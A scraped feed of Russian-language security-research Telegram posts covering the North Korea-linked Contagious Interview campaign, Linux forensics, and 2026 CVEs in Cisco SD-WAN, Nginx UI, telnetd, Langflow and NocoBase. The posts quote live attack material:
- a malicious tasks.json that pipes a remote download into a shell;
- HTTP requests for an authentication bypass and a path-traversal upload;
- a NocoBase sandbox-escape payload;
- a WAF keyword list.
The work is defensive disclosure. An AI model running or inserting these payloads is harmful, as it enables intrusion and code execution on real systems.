Contagious Interview с русскими кандидатами
Вредоносная кампания, предположительно северокорейских хакеров, распространенная за рубежом, теперь угрожает разработчикам из России.
🫡 В открытых источниках мы обнаружили сообщения об атаке против российского разработчика. Злоумышленники притворились потенциальными клиентами и во время общения попросили помочь с разработкой ПО. Они предложили разработчику загрузить проект, который содержал вердоносный код, способный похищать данные криптокошельков и другую личную информацию жертвы.
Кампания длится уже несколько лет и использует изощреные векторы доставки вредоносного ПО. В последнее время широко используется вектор через VS code.
В конкретном случае разработчика пытались взломать, прислав репозиторий проекта w3glpop — «геймерской Web3-панели».
🫡 Активация вредоносной нагрузки BeaverTail происходит при открытии репозитория в VS code. При нажатии Trust во вредоносном проекте срабатывают задачи, указанные в .vscode/tasks.json. Команды в tasks.json могут быть скрыты большим количеством пробельных знаков.
Ссылка из вредоносной задачи больше не доступна, но подсказки о последствиях есть в самом репозитории.
Один из файлов — обфусцированный nodejs -загрузчик w3glpop/server/routes/userRoutes.cjs. Он подгружает другой обфусцированный nodejs gjs_shMkMn9.js скрипт и package.json c необходимыми зависимостями. На финальной стадии интервью на компьютер жертвы может подгружаться InvisibleFerret, различные крипто- и инфостилеры.
💡 Проверяйте файлы и задачи репозитория перед открытием в редакторе кода. Для VS Code они содержатся в .vscode/tasks.json. А для IDE JB — в .idea/workplace.xml. Также их можно посмотреть здесь: File > Settings > Tools > StartupTasks.
Вредоносная кампания, предположительно северокорейских хакеров, распространенная за рубежом, теперь угрожает разработчикам из России.
Кампания длится уже несколько лет и использует изощреные векторы доставки вредоносного ПО. В последнее время широко используется вектор через VS code.
В конкретном случае разработчика пытались взломать, прислав репозиторий проекта w3glpop — «геймерской Web3-панели».
"label": "vscode",
"type": "shell",
"osx": {"command": "curl 'https://task-hrec.vercel.app/task/mac?token=ad76e54312f1' | sh"},
"linux": {"command": "wget -qO- 'https://task-hrec.vercel.app/task/linux?token=ad76e54312f1' | sh"},
"windows": {"command": "curl https://task-hrec.vercel.app/task/windows?token=ad76e54312f1 | cmd"},
"runOptions": {"runOn": "folderOpen"},
Ссылка из вредоносной задачи больше не доступна, но подсказки о последствиях есть в самом репозитории.
Один из файлов — обфусцированный nodejs -загрузчик w3glpop/server/routes/userRoutes.cjs. Он подгружает другой обфусцированный nodejs gjs_shMkMn9.js скрипт и package.json c необходимыми зависимостями. На финальной стадии интервью на компьютер жертвы может подгружаться InvisibleFerret, различные крипто- и инфостилеры.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥8🤔2❤1👾1
Форензика Linux: переменные окружения
У процессов Linux есть переменные окружения, к которым можно получить доступ через файл
Вот некоторые переменные окружения, на которые стоит обращать внимание.
У процессов SSH-сессий можно обнаружить следующие переменные окружения.
Наличие в переменных окружения процесса нетипичных значений может помочь вам обнаружить вредоносное ПО в системе. Например, наличие переменных оболочки в системном процессе может указывать на мимикрию — читайте статью о GoblinRAT. Кроме того, вредоносное ПО может использовать кастомные переменные, например:
• gsocket;
• Bulldog Backdoor (GoRed);
• бэкдор Vasilek;
• бэкдор IDFKA.
В новой статье — подробнее о переменных окружения и способах детектирования подозрительных процессов.
Сохраняйте пост, чтобы не потерять переменные окружения 😬
У процессов Linux есть переменные окружения, к которым можно получить доступ через файл
/proc/<pid>/environ или обработку структур памяти процесса. Переменные окружения устанавливаются системными вызовами setenv() или putenv() и наследуются дочерними процессами. Переменные окружения — это ценные источники данных, потому что в них могут быть аномалии, указывающие на атаку.Вот некоторые переменные окружения, на которые стоит обращать внимание.
• HISTSIZE — максимальный размер истории команд в памяти текущей сессии оболочки.
• HISTFILE — путь к файлу, в который будет записываться история команд, обычно <user_home>/.bash_history.
• HISTFILESIZE — максимальное количество команд, которое может записаться в файл HISTFILE.
• HISTIGNORE — команды, которые следует исключить из логирования.
• HISTCONTROL — указание на то, какие команды логировать.
• HOME — абсолютный путь к домашней директории пользователя.
• PATH — при запуске файла только по его имени система будет искать файл в указанных директориях в порядке приоритета.
• MYSQL_HISTORY, PSQL_HISTORY — путь к файлу, в который будет записываться история команд в консоли соответствующей БД.
• PWD — текущая директория процесса.
• OLDPWD — PWD родительского процесса.
• SUDO_USER — пользователь, запустивший процесс через команду sudo.
• SHLVL — глубина вложенности текущего процесса оболочки.
• _ — полный путь первой команды при запуске процесса из оболочки. Если исполняемый файл был запущен через лаунчер, например, nohup или screen, в переменной будет путь к лаунчеру.
• LD_PRELOAD — путь к файлу, из которого приоритетно подгружаются определения символов для программы. Может использоваться вредоносным ПО класса rootkit.
У процессов SSH-сессий можно обнаружить следующие переменные окружения.
• SSH_CONNECTION — адрес и порт SSH-клиента, адрес и порт сервера (обычно текущей системы). Переменная может содержать значения, даже если сессия уже завершилась.
• SSH_CLIENT — адрес и порт SSH-клиента из SSH_CONNECTION.
• SSH_ORIGINAL_COMMAND — команда, переданная при инициации SSH-соединения.
Наличие в переменных окружения процесса нетипичных значений может помочь вам обнаружить вредоносное ПО в системе. Например, наличие переменных оболочки в системном процессе может указывать на мимикрию — читайте статью о GoblinRAT. Кроме того, вредоносное ПО может использовать кастомные переменные, например:
• gsocket;
• Bulldog Backdoor (GoRed);
• бэкдор Vasilek;
• бэкдор IDFKA.
В новой статье — подробнее о переменных окружения и способах детектирования подозрительных процессов.
Сохраняйте пост, чтобы не потерять переменные окружения 😬
🔥16❤11👍8🙏2🤝2💩1👾1
Cisco SD-WAN Zero-Day
CVE-2026-20127 — уязвимость нулевого дня в Cisco Catalyst SD-WAN и Cisco Catalyst SD-WAN. Она позволяет обойти аутентификацию и получить административные привилегии.
😬 Метрики
😬 Предисловие
Из описания эксплойта, эту уязвимость активно используют в атаках с 2023 года группа киберпреступников UAT-8616. Первые публичные упоминания эксплойта мы зафиксировали 27 февраля — тогда выложили полное описание работы скрипта и ссылку на покупку эксплойта. Вчера в сети появился общедоступный эксплойт.
😬 Как работает эксплуатация
1. Формируется GET-запрос на
значение
2. Содержимое полученного
3. При успешной авторизации злоумышленник загружает файл на конечную точку
😬 Пример
На скриншоте — авторизация с реальным
😬 Как защищаться
1) Ограничить доступ к
2) Провести аудит недавно авторизированных пользователей из внешней сети через конечную точку
3) Провести аудит подозрительных архивов, переданных через конечную точку
4) Проверить папку
5) Обновиться.
CVE-2026-20127 — уязвимость нулевого дня в Cisco Catalyst SD-WAN и Cisco Catalyst SD-WAN. Она позволяет обойти аутентификацию и получить административные привилегии.
Base Score: 10.0 CRITICAL
CWE: CWE-287
Из описания эксплойта, эту уязвимость активно используют в атаках с 2023 года группа киберпреступников UAT-8616. Первые публичные упоминания эксплойта мы зафиксировали 27 февраля — тогда выложили полное описание работы скрипта и ссылку на покупку эксплойта. Вчера в сети появился общедоступный эксплойт.
1. Формируется GET-запрос на
reports/data/opt/data/containers/config/data-collection-agent/.dcaзначение
.dca файла — представляет из себя строку, похожую на хеш-значение.2. Содержимое полученного
.dca файла передается POST-запросом на конечную точку /jts/authenticated/j_security_check как пароль. Значение username мы называть не будем, но POST-запрос выглядит так POST /jts/authenticated/j_security_check HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 74
Content-Type: application/x-www-form-urlencoded
j_username=XXXX&j_password=b3acz89XXXXXXacf302e5
/jts/authenticated/j_security_check - механизм Java EE Form-Based Authentication.3. При успешной авторизации злоумышленник загружает файл на конечную точку
/dataservice/smartLicensing/uploadAck, где в значении filename эксплуатируется уязвимость обхода путей. Пример запроса:POST /dataservice/smartLicensing/uploadAck HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: JSESSIONID=c1N2jeCLfkrG2G7wlhJXCJCEt2gTqhoAGcVxxniA.97817f3b6e02100c1bf62e9c2eae9b3f592d91f007bc9dc58ee3830749df194a
Content-Length: 319
Content-Type: multipart/form-data; boundary=c811fbda7a1ec25b4516595aecf20fb8
--c811fbda7a1ec25b4516595aecf20fb8
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../var/lib/wildfly/standalone/deployments/cmd.gz.war"
Content-Type: application/java-archive
/*archive bytes */
--c811fbda7a1ec25b4516595aecf20fb8--
/dataservice/smartLicensing/uploadAck – конечная точка загрузки лицензий. На скриншоте — авторизация с реальным
.dca и случайной строкой. Значение j_username было скрыто. В одном случае мы успешно обошли авторизацию, в другом получили ошибку.1) Ограничить доступ к
reports/data/opt/data/containers/config/data-collection-agent/ из внешней сети правилами WAF/IDS. 2) Провести аудит недавно авторизированных пользователей из внешней сети через конечную точку
/jts/authenticated/j_security_check.3) Провести аудит подозрительных архивов, переданных через конечную точку
/dataservice/smartLicensing/uploadAck.4) Проверить папку
/deployments на подозрительные файлы.5) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9✍5❤3👍2👾1
Как и кого атаковали хакеры в 2025 году? Расскажем уже завтра
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Пришло время рассказать о самых интересных находках за прошлый год.
Завтра в 12:00 наши эксперты Иван Шадрин и Владимир Духанин проведут вебинар «Что нужно знать о целевых кибератаках 2025: тренды, прогнозы, кейсы».
На вебинаре ребята расскажут:
🫡 Как изменился ландшафт целевых атак в 2025 году и чего ждать в 2026-м.
🫡 Какие отрасли бизнеса подвергались атакам чаще всего и с какой целью.
🫡 Какие особо интересные техники использовали злоумышленники: разбор кейсов расследований.
Приходите❤️
Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Пришло время рассказать о самых интересных находках за прошлый год.
Завтра в 12:00 наши эксперты Иван Шадрин и Владимир Духанин проведут вебинар «Что нужно знать о целевых кибератаках 2025: тренды, прогнозы, кейсы».
На вебинаре ребята расскажут:
Приходите
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤4🤝3🙏2👾1
Спасибо за backup
CVE-2026-27944 — уязвимость, которая позволяет получить полную резервную копию системы неаутентифицированному злоумышленнику. Проблема затрагивает Nginx UI версий ниже 2.3.3.
Nginx UI — это веб-интерфейс для веб-сервера Nginx.
😬 Метрики:
😬 Подробнее об уязвимости:
В версиях Nginx UI присутствует уязвимая конечная точка
Пример приведен на скриншоте.
😬 Шаги эксплуатации:
1️⃣ Отправка GET-запроса к уязвимой конечной точке /api/backup без аутентификации.
2️⃣ Получение зашифрованного файла резервной копии в теле ответа.
3️⃣ Получение ключа шифрования из заголовка ответа X-Backup-Security.
4️⃣ Расшифровка резервной копии.
😬 Как защищаться:
1) Обновиться.
2) Провести аудит запросов к уязвимой конечной точке /api/backup.
3) Ограничить доступ к конечной точке из общей сети. Например, с помощью правил WAF/IDS или белых списков.
4) Сменить пароли, SSL ключи и API токены.
5) Внедрить дополнительную аутентификацию (например, HTTP Basic Authentication) на уровне reverse-proxy.
CVE-2026-27944 — уязвимость, которая позволяет получить полную резервную копию системы неаутентифицированному злоумышленнику. Проблема затрагивает Nginx UI версий ниже 2.3.3.
Nginx UI — это веб-интерфейс для веб-сервера Nginx.
Base Score: 9.8 CRITICAL
CWE: CWE-306, CWE-311
В версиях Nginx UI присутствует уязвимая конечная точка
/api/backup, которая позволяет получить полный backup системы. Уязвимость возникает из-за отсутствия механизма проверки аутентификации при обращении к данной конечной точке. Ситуация усугубляется тем, что ключ для расшифровки backup, передается сервером в заголовке HTTP-ответа X-Backup-Security. Это позволяет злоумышленнику получить и расшифровать резервную копию системы. Пример приведен на скриншоте.
1) Обновиться.
2) Провести аудит запросов к уязвимой конечной точке /api/backup.
3) Ограничить доступ к конечной точке из общей сети. Например, с помощью правил WAF/IDS или белых списков.
4) Сменить пароли, SSL ключи и API токены.
5) Внедрить дополнительную аутентификацию (например, HTTP Basic Authentication) на уровне reverse-proxy.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣12❤8🔥4👍3😁2👾2
Анализ уязвимости CVE-2026-32746 в telnetd
CVE-2026-32746 — критическая уязвимость переполнения буфера в демонe telnetd из пакета GNU Inetutils. Уязвимы версии до 2.7 включительно.
Уязвимость позволяет удаленному атакующему без аутентификации переполнить буфер, а в некоторых случаях выполнить произвольный код с правами root.
🫡 Метрики
🫡 Причина уязвимости
Проблема возникает в обработчике опции LINEMODE протокола Telnet, а именно в функции add_slc(), которая добавляет SLC-триплеты во внутренний буфер фиксированного размера. Здесь нет проверки границ буфера — в итоге происходит запись за пределами отведенной памяти при обработке большого количества SLC-триплетов.
🫡 Подробнее
При установлении Telnet-сессии telnetd включает LINEMODE и обрабатывает SLC (Set Local Characters). Функция add_slc() записывает SLC-триплеты по 3 байта в статический буфер slcbuf размером 108 байт, из которых 104 байта доступны под данные:
Если клиент отправляет SLC-триплеты с кодами функций выше допустимого NSLC = 18, сервер формирует ответы not supported, добавляя каждый триплет в буфер через add_slc().
Из-за отсутствия проверки границ после порядка 35 триплетов slcbuf переполняется и запись идет за пределы 104 байт — это повреждает данные в BSS, включая указатель slcptr. При последующей обработке в end_slc() используется уже повреженный указатель, что вызывает запись по некорректному адресу и приводит к принудительному завершению процесса.
🫡 Шаги эксплуатации
1) Подключение злоумышленника к telnetd и прохождение negotiation, автоматически соглашаясь со всеми опциями сервера.
2) Инициация LINEMODE командой WILL LINEMODE: она доводит сессию до состояния, при котором сервер подтверждает режим DO LINEMODE и готов обрабатывать suboptions.
3) После активации LINEMODE отправляется Telnet-пакет IAC SB LINEMODE SLC ... IAC SE с избыточным числом SLC-триплетов.
4) Сервер обрабатывает триплеты в slc.c, последовательно записывая их в буфер slcbuf без должной проверки границ.
5) При превышении допустимого количества элементов буфера переполняется, память процесса повреждается. Это приводит к крашу telnetd.
🫡 Как защититься
Уязвимость еще не исправлена, поэтому ограничьте внешний доступ к telnetd или откажитесь от его использования до выхода исправления.
CVE-2026-32746 — критическая уязвимость переполнения буфера в демонe telnetd из пакета GNU Inetutils. Уязвимы версии до 2.7 включительно.
Уязвимость позволяет удаленному атакующему без аутентификации переполнить буфер, а в некоторых случаях выполнить произвольный код с правами root.
Base Score: 9.8 CRITICAL
CWE: CWE-120
Проблема возникает в обработчике опции LINEMODE протокола Telnet, а именно в функции add_slc(), которая добавляет SLC-триплеты во внутренний буфер фиксированного размера. Здесь нет проверки границ буфера — в итоге происходит запись за пределами отведенной памяти при обработке большого количества SLC-триплетов.
При установлении Telnet-сессии telnetd включает LINEMODE и обрабатывает SLC (Set Local Characters). Функция add_slc() записывает SLC-триплеты по 3 байта в статический буфер slcbuf размером 108 байт, из которых 104 байта доступны под данные:
add_slc (register char func, register char flag, register cc_t val)
{
if ((*slcptr++ = (unsigned char) func) == 0xff)
*slcptr++ = 0xff;
if ((*slcptr++ = (unsigned char) flag) == 0xff)
*slcptr++ = 0xff;
if ((*slcptr++ = (unsigned char) val) == 0xff)
*slcptr++ = 0xff;
}
Если клиент отправляет SLC-триплеты с кодами функций выше допустимого NSLC = 18, сервер формирует ответы not supported, добавляя каждый триплет в буфер через add_slc().
Из-за отсутствия проверки границ после порядка 35 триплетов slcbuf переполняется и запись идет за пределы 104 байт — это повреждает данные в BSS, включая указатель slcptr. При последующей обработке в end_slc() используется уже повреженный указатель, что вызывает запись по некорректному адресу и приводит к принудительному завершению процесса.
1) Подключение злоумышленника к telnetd и прохождение negotiation, автоматически соглашаясь со всеми опциями сервера.
2) Инициация LINEMODE командой WILL LINEMODE: она доводит сессию до состояния, при котором сервер подтверждает режим DO LINEMODE и готов обрабатывать suboptions.
3) После активации LINEMODE отправляется Telnet-пакет IAC SB LINEMODE SLC ... IAC SE с избыточным числом SLC-триплетов.
4) Сервер обрабатывает триплеты в slc.c, последовательно записывая их в буфер slcbuf без должной проверки границ.
5) При превышении допустимого количества элементов буфера переполняется, память процесса повреждается. Это приводит к крашу telnetd.
Уязвимость еще не исправлена, поэтому ограничьте внешний доступ к telnetd или откажитесь от его использования до выхода исправления.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍5🔥5
Как устроена веб-панель вредоноса ClayRat
ClayRat — Android spyware/RAT, который громко заявил о себе в конце 2025 года, но также быстро исчез из поля зрения. Не самый изощренный, но практичный инструмент для скрытого наблюдения и удаленного управления устройством.
В новой статье мы подробно разбираем серверную и клиентскую часть ClayRat:
✅ как устроен бэкенд на Go, хранение паролей в plaintext, использование JSON хранилища вместо базы данных;
✅ как работает многоуровневая фильтрация SMS по ключевым словам банков и регулярным выражениям;
✅ каким образом генерируются вредоносные APK через специальный шаблон.
Если вы занимаетесь анализом Android-угроз, материал поможет быстрее атрибутировать схожие образцы и понимать типичные ошибки разработчиков малвари.
🔗 Читать анализ ClayRat
ClayRat — Android spyware/RAT, который громко заявил о себе в конце 2025 года, но также быстро исчез из поля зрения. Не самый изощренный, но практичный инструмент для скрытого наблюдения и удаленного управления устройством.
В новой статье мы подробно разбираем серверную и клиентскую часть ClayRat:
Факты о ClayRat:
— Android spyware/RAT с функциональностью перехвата SMS, звонков, контактов, скриншотов и удаленного управления.
— Бэкенд написан на Go, не обфусцирован, содержит дебаг-строки и использует файловое хранение (JSON) вместо СУБД.
— Конфигурация хранится в plaintext: пароли пользователей, токены Telegram/SMS, C2-домены.
— Фильтрация SMS реализует многоуровневый парсинг: поиск по ключевым словам банков, МФО, маркетплейсов, регулярные выражения для номеров карт.
— APK-билдер генерирует вредоносные приложения на основе шаблона с подстановкой конфигурируемых параметров.
— Инфраструктура насчитывала ~100 серверов
К декабрю 2025 года все C2-серверы стали недоступны. В открытых источниках — информация о задержании в Краснодаре студента, подозреваемого в создании вредоноса.
Если вы занимаетесь анализом Android-угроз, материал поможет быстрее атрибутировать схожие образцы и понимать типичные ошибки разработчиков малвари.
🔗 Читать анализ ClayRat
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍7❤4❤🔥1
RCE Langflow
CVE-2026–33017 — уязвимость удаленного выполнения кода (RCE) в Langflow версиях до 1.9.0.
Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ.
🫡 Метрики
🫡 Об уязвимости
В уязвимых версиях Langflow существует API-точка
🫡 Векторы реализации атак
1) При установки конфигурации Langflow с параметром
Или создать публичный поток через запрос POST/PATCH на конечную точку
После эксплуатации уязвимости публичный поток может быть удален через DELETE-запрос к
2) При установки конфигурации Langflow с параметром
Значение Cookie client_id в обоих вариантах может быть авто сгенерированным, например, через str(uuid.uuid4()).
Проверить, включена ли эта настройка, можно с помощью GET-запроса к /api/v1/auto_login: если в ответе возвращается токен авторизации, значит автоматический вход активен. Данная настройка усложняет получение flow_id, но не закрывает уязвимость.
🫡 Эксплуатация
После получения всех необходимых ID-эксплуатация структурно, выглядит так:
Пример можно увидеть на скриншоте.
🫡 Как защищаться
1) Установить LANGFLOW_AUTO_LOGIN: "false”.
2) Обновиться.
3) Написать IDS/WAF-правила, блокирующие POST-запросы на /api/v1/build_public_tmp/{flow_id}/flow, где в параметре data могут передаться потенциально опасные функции, например: import, system, exec, os, popen и т.д.
CVE-2026–33017 — уязвимость удаленного выполнения кода (RCE) в Langflow версиях до 1.9.0.
Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ.
Base Score: 9.3 CRITICAL
CWE: CWE-94, CWE-95, CWE-306.
В уязвимых версиях Langflow существует API-точка
/api/v1/build_public_tmp/{flow_id}/flow, которая предназначена для создания общедоступных потоков (flows) без авторизации. Конечная точка принимает необязательный параметр data с JSON-описанием графа. При его наличии сервер использует переданные данные вместо сохраненного flow из БД, что позволяет выполнить произвольный Python-код через CustomComponent не изолированно.1) При установки конфигурации Langflow с параметром
LANGFLOW_AUTO_LOGIN: "true" , злоумышленник может посмотреть flow_id любого публичного потока через GET-запрос на конечную точку /api/v1/flows/.Или создать публичный поток через запрос POST/PATCH на конечную точку
/api/v1/flows/
После эксплуатации уязвимости публичный поток может быть удален через DELETE-запрос к
/api/v1/flows/.2) При установки конфигурации Langflow с параметром
LANGFLOW_AUTO_LOGIN: "false" получение значения flow_id публичного потока злоумышленником, усложниться. Так как все запросы на /api/v1/flows/ будут требовать авторизации. Значение Cookie client_id в обоих вариантах может быть авто сгенерированным, например, через str(uuid.uuid4()).
LANGFLOW_AUTO_LOGIN: "true" включает функцию автоматического входа и позволяет получать авторизационные cookies без явной авторизации через логин/пароль. Проверить, включена ли эта настройка, можно с помощью GET-запроса к /api/v1/auto_login: если в ответе возвращается токен авторизации, значит автоматический вход активен. Данная настройка усложняет получение flow_id, но не закрывает уязвимость.
После получения всех необходимых ID-эксплуатация структурно, выглядит так:
POST /api/v1/build_public_tmp/27a7a181-f100-4b9a-a963-13099384eac0/flow HTTP/1.1
Host: localHost
Cookie: client_id=RANDOM_STRING
Content-Type: application/json
{"data": {...}}
Пример можно увидеть на скриншоте.
1) Установить LANGFLOW_AUTO_LOGIN: "false”.
2) Обновиться.
3) Написать IDS/WAF-правила, блокирующие POST-запросы на /api/v1/build_public_tmp/{flow_id}/flow, где в параметре data могут передаться потенциально опасные функции, например: import, system, exec, os, popen и т.д.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔3👍2
Dead Drop Resolver переехал в Spotify и Chess
Если раньше C2 чаще прятали в Steam и Telegram, то теперь в качестве dead drop-источников начинают использовать и менее очевидные площадки — плейлисты
👍 В новой статье мы разбираем семпл MaskGramStealer, где адрес C2 извлекается из публичного контента легитимных сервисов, а затем используется для дальнейшего взаимодействия с инфраструктурой атакующих.
На практике такая схема усложняет блокировки, поскольку в бинарном файле остаются только ссылки на легитимные ресурсы и маркеры парсинга, а сами C2 злоумышленники могут менять в любой момент без перекомпиляции и пересборки семпла.
Что разобрали в статье:
✅ DDR-источники
✅ как из публичной страницы извлекается C2;
✅ доставка модулей: base64 — RC4 — проверка MZ;
✅ геофильтрация зараженных устройств из РФ.
Читать разбор техники Dead Drop Resolver в MaskGramStealer
Если раньше C2 чаще прятали в Steam и Telegram, то теперь в качестве dead drop-источников начинают использовать и менее очевидные площадки — плейлисты
Spotify и профили Chess.com. На практике такая схема усложняет блокировки, поскольку в бинарном файле остаются только ссылки на легитимные ресурсы и маркеры парсинга, а сами C2 злоумышленники могут менять в любой момент без перекомпиляции и пересборки семпла.
Что разобрали в статье:
Spotify и Chess.com (с резервными площадками);Читать разбор техники Dead Drop Resolver в MaskGramStealer
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤5🔥5👏2
Как распаковать Smart Install Maker
😬 Один из инструментов — Smart Install Maker: формат известен давно, но качественных открытых утилит для его разбора до сих пор нет, а существующие решения часто неудобны для интеграции в аналитический пайплайн.
При этом формат продолжают активно использовать злоумышленники, в частности, APT-группа Librarian Likho (aka Rare Werewolf и Rezet) применяла его в своих кампаниях для доставки вредоносов.
Мы написали статью, в которой разобрали внутреннюю структуру этого формата на примере одной из нагрузок Librarian Likho. А ещё делимся кодом распаковщика на Python, который можно сразу использовать.
Всем отличной пятницы❤️
Во время реверса аналитику регулярно нужно преодолевать многоуровневую обфускацию. Сами знаете: прежде чем добраться до интересной логики, часто приходится вручную разбирать кастомные протоколы, восстанавливать конфигурации или извлекать данные из нестандартных контейнеров.
Особаяболькатегория таких задач — образцы, собранные с помощью конструкторов инсталляторов. Они маскируют вредоносную нагрузку под легитимный процесс установки, но при этом требуют специфического подхода к распаковке.
При этом формат продолжают активно использовать злоумышленники, в частности, APT-группа Librarian Likho (aka Rare Werewolf и Rezet) применяла его в своих кампаниях для доставки вредоносов.
Мы написали статью, в которой разобрали внутреннюю структуру этого формата на примере одной из нагрузок Librarian Likho. А ещё делимся кодом распаковщика на Python, который можно сразу использовать.
Всем отличной пятницы
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍6❤2😁1🤔1
Устраиваем «битву кейсов» с коллегами из DSEC. Присоединяйтесь!
Завтра в 12:00 участвуем в вебинаре. Но это не просто вебинар, это настоящая «битва эпических ИБ-историй».
Идея такая:
📍 Мы — делимся историями из реальных расследований инцидентов, которые провели в организациях из шести разных индустрий.
📍 Наши коллеги из DSEC — оппоненты. Они расскажут о самых уязвимых веб-приложениях, самых распространённых брешах во внешнем и внутреннем контурах. Ребята провели 400 пентестов, им есть что рассказать!
Насколько те проблемы безопасности, которые мы находим в качестве причин реальных инцидентов, перекликаются с тем, что находят в своей работе эксперты из DSEC?
Мы в предвкушении. Если и вы тоже, то присоединяйтесь к «битве»: https://rt-solar.ru/analytics/webinars/6463/
Завтра в 12:00 участвуем в вебинаре. Но это не просто вебинар, это настоящая «битва эпических ИБ-историй».
Идея такая:
Насколько те проблемы безопасности, которые мы находим в качестве причин реальных инцидентов, перекликаются с тем, что находят в своей работе эксперты из DSEC?
Мы в предвкушении. Если и вы тоже, то присоединяйтесь к «битве»: https://rt-solar.ru/analytics/webinars/6463/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍8🔥7
Побег из песочницы
CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.
🫡 Метрики
🫡 Об уязвимости
Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через
Уязвимая конечная точка —
Уязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора.
🫡 Код для выхода из песочницы. Пример команды
✅
✅
✅
✅
✅
К посту прикреплен docker-compose файл, для сборки уязвимой версии NocoBase. Логин и пароль для авторизации предлагаем найти самостоятельно.
🫡 Как настроить стенд
Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте.
🫡 Как защититься
1) Сменить стандартные логин и пароль администратора.
2) Ограничить доступ к /api/flow_nodes:test только администраторам.
3) Обновиться.
4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.
CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.
NocoBase — это легко расширяемая open-source no-code/low-code платформа для разработки, которая помогает командам разработчиков и бизнесу быстро создавать собственные управляемые бизнес-системы.
Base Score: 9.9 CRITICAL
CWE: CWE-913
Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через
console._stdout и console._stderr. Злоумышленнику достаточно базовых прав, чтобы вытащить объекты WritableWorkerStdio и выйти за пределы изоляции.Уязвимая конечная точка —
/api/flow_nodes:testУязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора.
const cons=console._stdout.constructor.constructor;
const proc= cons('return process')();
const cmd=proc.mainModule.require('child_process');
return cmd.execSync('id').toString().trim();
console._stdout.constructor.constructor или аналог console._stderr.constructor.constructor - пытается добраться до конструктора Function через цепочку прототипов.cons('return process')() — создаёт функцию, которая возвращает объект process из хост-среды.proc.mainModule.require('child_process') — загружает модуль child_process.execSync('COMAND') — выполняет системную команду и возвращает вывод. Вариации полезной нагрузки могут изменяться, например, кодироваться, передаваться в другом регистре и т.д.execSync(String.fromCharCode(105,100)).toString().trim() — выполнит команду ID.Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте.
1) Сменить стандартные логин и пароль администратора.
2) Ограничить доступ к /api/flow_nodes:test только администраторам.
3) Обновиться.
4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤3👍3😁1
Что общего у атак Shedding Zmiy и русской литературной классики?
И там, и там есть мертвые души.
Недавно мы расследовали инцидент — проукраинская группировка атаковала крупную российскую организацию в сфере здравоохранения.
Выяснили, что атакующие более шести месяцев имели доступ к инфраструктуре организации из отрасли здравоохранения через VPN и шпионили. Подключались к инфраструктуре с помощью учетных записей уволенных сотрудников, которые вовремя не вывели из эксплуатации.
😬 Читайте подробности в новой статье
Недавно мы расследовали инцидент — проукраинская группировка атаковала крупную российскую организацию в сфере здравоохранения.
Выяснили, что атакующие более шести месяцев имели доступ к инфраструктуре организации из отрасли здравоохранения через VPN и шпионили. Подключались к инфраструктуре с помощью учетных записей уволенных сотрудников, которые вовремя не вывели из эксплуатации.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥11😎9👍4
Приходите на Митап Solar 4RAYS: расследование инцидентов, вредоносное ПО, киберразведка
📅 21 апреля в 18:00 в Амфитеатре офиса «Солар» на Никитском переулке пройдет митап команды Solar 4RAYS — открытая встреча для всех, кому близка тема киберугроз, расследований и охоты за вредоносами.
В программе:
😬 разберем новое исследование крупного ботнета;
😬 доклады приглашенных спикеров из других ИБ-компаний с реальными кейсами и находками;
😬 мини-соревнование: приготовили задание на форензику, так что можно будет попробовать себя в роли расследователя цифрового инцидента.
Подробную программу скоро опубликуем, но уже сейчас можно бронировать слот в календаре.
Зарегистрироваться
Как говорится, save the date — будет насыщенно, полезно и уж точно не скучно ;)
В программе:
